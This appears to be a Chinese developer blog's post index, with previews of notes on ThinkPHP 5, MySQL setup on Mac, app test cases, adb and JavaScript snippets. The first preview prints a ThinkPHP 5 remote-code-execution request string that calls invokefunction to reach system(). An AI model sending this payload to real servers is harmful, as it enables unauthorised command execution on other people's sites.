自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(29)
  • 资源 (2)
  • 收藏
  • 关注

原创 tp5远程代码执行漏洞

1.查看网站版本信息/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[

2019-01-09 14:16:54 9354 3

原创 Mac Myql修改密码

use mysql;ALTER user 'root'@'localhost' IDENTIFIED BY 'newpassward' Mysql.service restart

2021-06-07 16:56:18 85

原创 Mac安装mysql

1、安装brew包管理器/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"2、brew install mysql过程中会遇到MAC系统root用户无法使用brew命令使用brew安装程序提示如下错误Error: Running Homebrew as root is extremely dangerous and no longersupported.As Homeb

2021-06-07 10:25:03 96

原创 APP通用测试用例~易用性

ID 用例名称 用例描述 预期结果 优先级 实际结果 是否通过 BUG描述 备注 1 布局和设计 检查各界面的布局和视觉设计-> 可点击的元素(例如按钮),应当设计成明显可点击的样子 4 2 布局可以帮助用户把注意力集中在下一步要做的东西上 4 3 用户常用的信息和功能应该放到显而易见的地方 4 ...

2021-04-29 22:34:06 2066

原创 APP通用测试用例~安全性

ID 测试要点 测试步骤 预期结果 优先级 实际结果 是否通过 BUG描述 1 权限测试 扣费风险 查看语记有无扣费风险 无扣费风险 1 2 网络连接 查看能否限制/允许语记接入网络 能够设置 1 3 手机定位功能 查看能否限制/允许语记使用定位功能 能够设置 1 4 ...

2021-04-29 22:32:30 705

原创 项目流程

1.总体流程需求定义---需求评审---产品研发---功能测试---上线部署---线上回归---线上验证2.项目前期 (需求定义)PM根据客服 客户反馈 写出市场调研报告MRDQA:需求是否合理 扣一下细节熟悉项目的模块功能 总结用例编写 熟悉权限3. 需求评审需求评审会:PM主持 QA RD 需要参加QA: 需求是否合理 扣一下细节PM针对评审会记录修改文档细节RD根据MRD拆分开发任务,并确定各功能负责人;确定出图时间,参考此时间分配开发...

2021-04-29 22:29:04 249

原创 adb和Monkey的特征

手机调试模式adb version 查看adb版本号adb devicesi 查看电脑连接手机状态信息adb kill-server 杀死adb服务,当手机通过USB连接电脑,但adb查看不到时。可以杀死进程,重启服务。adb logcat -v time|grep com.timeweekly.timefinance(软件包名) >D:\log.txt把手机运行过程中的日志打印后,输出到本都磁盘文件中安装软件包./adb install ../32213.apk(路径+软件包

2021-04-15 21:19:27 169

原创 logo 优化

11. logo 优化logo 里面 首先放一个 h1 标签 ,目的是为了提权,告诉搜索引擎,这个地方很重要h1里面在放一个连接,可以返回首页的, 给连接一个 大小 和 logo 的背景图片连接 里面要放文字(网站名称),为了搜索引擎收录我们。 但是文字不要显示出来要用 text-indent 移到盒子外面 (text-indent: -9999px) 然后overflow:hidden 淘宝的做法直接给font-size: 0; 就看不到文字了, 京东的做法。最后

2020-09-08 18:31:13 241

原创 搭建 WordPress 个人博客

准备 LAMP 环境LAMP 是 Linux、Apache、MySQL 和 PHP 的缩写,是 Wordpress 系统依赖的基础运行环境。我们先来准备 LAMP 环境:(由于部分服务安装过程中展示需要,建议您将下方终端部分的高度通过拖拽方式调高一点)安装 Apache2在终端输入该命令 ,使用 apt-get 安装 Apache2:sudo apt-get install apache...

2019-04-23 17:59:58 274

原创 print sql

$model -> getLastSql(); $model -> _sql();

2019-04-18 16:08:54 269

原创 TP5的模板继承

父页面<html lang="zh"><head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" ...

2019-04-17 11:34:34 848

原创 php闭包

//传递参数 $message = 'word'; $example = function ($arg) use ($message) { var_dump($arg . ' ' . $message); }; $example("hello");

2019-04-16 17:46:00 256

原创 jQuery JS全选全不选

jQuery全选全不选$(function() { $('.input').click(function() { if (this.checked) { $(this).parents('div.row1').find("input[name='checkbox']").prop("checked", "true"); } else...

2019-04-16 11:59:56 101

原创 Js 去掉空格方法

String.prototype.Trim = function(){ return this.replace(/(^\s*)|(\s*$)/g, ""); }String.prototype.LTrim = function(){ return this.replace(/(^\s*)/g, ""); }String.prototype.RTrim = f...

2019-04-15 17:48:02 617

原创 JS生成随机数

function randombetween(min, max){ return min + (Math.random() * (max-min +1)); }

2019-04-15 17:42:43 610

原创 JS判断数组元素是否重复

var isRepeat = function(arr) { //arr是否有重复元素 var hash = {}; for (var i in arr) { if (hash[arr[i]) return true; hash[arr[i] = true; } return false; };...

2019-04-15 17:41:40 1646

原创 tp5常见问题

1.模型的save方法调用后怎么获取自增主键的值?模型的save方法用于模型对象的保存(包括新增和更新)操作,当新增数据后,返回值不再返回主键,而是统一返回影响的记录数(一般为1或者0),如果需要获取自增主键的值,可以使用下面的方法:$user = new User;$user->name = 'thinkphp';$user->email = '[email protected]...

2019-04-07 10:13:24 353

原创 TP5验证规则

格式验证类:1. require验证某个字段必须,例如:‘name’=>‘require’2.number 或者 integer验证某个字段的值是否为数字(采用filter_var验证),例如:‘num’=>‘number’3.float验证某个字段的值是否为浮点数字(采用filter_var验证),例如:‘num’=>‘float’4.boolean验证某个字...

2019-04-04 09:54:56 2297

原创 正则匹配所有的a标签

&lt;a\b[&gt;]+\bhref="(["])"[^&gt;]&gt;([\s\S]*?)分组1和分组2即为href和value解释:&lt;a\b #匹配a标签的开始[^&gt;]+ #匹配a标签中href之前的内容\bhref...

2019-01-30 21:59:00 4378

转载 初识 Nginx

Nginx 是一个免费的,开源的,高性能的HTTP服务器和反向代理,以及IMAP / POP3代理服务器。 Nginx 以其高性能,稳定性,丰富的功能,简单的配置和低资源消耗而闻名。很多高知名度的网站都使用 Nginx,如:Netflix,GitHub,SoundCloud,MaxCDN 等。Nginx 有一个主线程( master process)和几个工作线程(worker process...

2019-01-11 19:50:11 152

转载 PHP漏洞全解(详细介绍)

转载 http://www.jb51.net/article/31898.htm针对PHP的网站主要存在下面几种攻击方式:1、命令注入(Command Injection)2、eval注入(Eval Injection)3、客户端脚本攻击(Script Insertion)4、跨网站脚本攻击(Cross Site Scripting, XSS)5、SQL注入攻击(SQL inject...

2019-01-10 10:54:55 12161

原创 phpstorm+xdebug进行断点调试

php的配置我是用phpstudy的,所以在php目录下面都会有内置的插件:phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug.dll如果是其他环境的话可以去官网下载相对应的版本:https://xdebug.org/download.php然后放在ext目录下面,然后在php.ini配置文件里面加上以下内容:[XDebug]...

2019-01-09 15:56:12 537

原创 自己定义的常用PHP函数

1.搜索二维数组中是否存在某个值 /*** * @desc: 搜索二维数组中是否存在某个值 * @param $array * @param $str * @return bool */ function arrayCheck($array,$str) { $arrayList = array_colu...

2019-01-08 15:30:28 173

原创 tp5 excel导入导出

1.下载phpExcel,解压后放到vendor目录下phpExcel下载地址2.贴出视图代码&amp;amp;amp;lt;!DOCTYPE html&amp;amp;amp;gt;&amp;amp;amp;lt;html lang=&amp;amp;quot;en&amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;head&amp;amp;amp;gt; &amp;amp;

2019-01-08 14:33:07 1453

原创 tp5使用layui异步上传图片

上传文件任何地方都要用到,这篇文章介绍使用layui异步上传图片。1.视图代码&lt;!DOCTYPE html&gt;&lt;html lang="en"&gt;&lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;title&gt;上传插件&lt;/title&gt; &lt;link hre

2019-01-07 14:19:33 2852

原创 tp5生成二维码

在只能手机如此普及的今天,二维码作为推广的的展现,应用的越来越多了。一个二维码中可以蕴藏很多信息。那么,就让我来介绍一下,如何在 thinkphp5 框架中生成二维码。1.下载类库composer require aferrandini/phpqrcode2.在 common.php 中新建,生成二维码函数/** * 功能:生成二维码 * @param string $qrData...

2019-01-07 12:52:22 5915

原创 tp5身份证号验证

身份证验证最简单的就是判断长度了,当然这种非常简单破了如果要更规则一点我们需要对身份证号码进行一些按生成规则验证了,下面整理了一些方法我们来看看。方法放到全局作用域application/common.php文件1.在 application 下的 common.php 中添加如下方法:/*** * 身份证真实性验证规则 */function validation_filter_id...

2019-01-07 12:03:36 5021 3

转载 tp5中的No input file specified

我使用的是PHP-study环境,当PHP的版本号为5.5.38的时候,正常;但是在PHP7的时候就会报No input file specified这个问题。这是因为路由的问题1.我们只需打开public/.htaccess文件;2.将最后一行的代码改成这样: RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]...

2019-01-06 20:12:41 313

原创 tp5验证码

图形验证码下面功能相关的目录登录时,没有图形验证码的话,很容被机器人进行模拟登录,对网站安全有很大的威胁。因此,验证码是登录功能所必须的。下面,我们就给我们的登录功能,加上验证码。下面功能相关的目录首先使用Composer安装think-captcha扩展包,通过命令行,进入 D:\www\phper。(您根据实际情况处理)composer require topthink/thi...

2019-01-06 18:53:30 1640

PHP+FLASH调用摄像头拍照解析.zip

PHP+FLASH调用摄像头拍照解析实例代码,下载可自行修改或者直接使用,方便调用,引用项目内直接调用

2020-05-12

TP5的PHPExcel包实现导入导出功能

将下载好的PHPExcel文件夹跟PHPExcel放置在框架中的Vendor目录下,注意目录的结构,按照我的代码来基本上直接引用就能使用。

2019-01-08

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除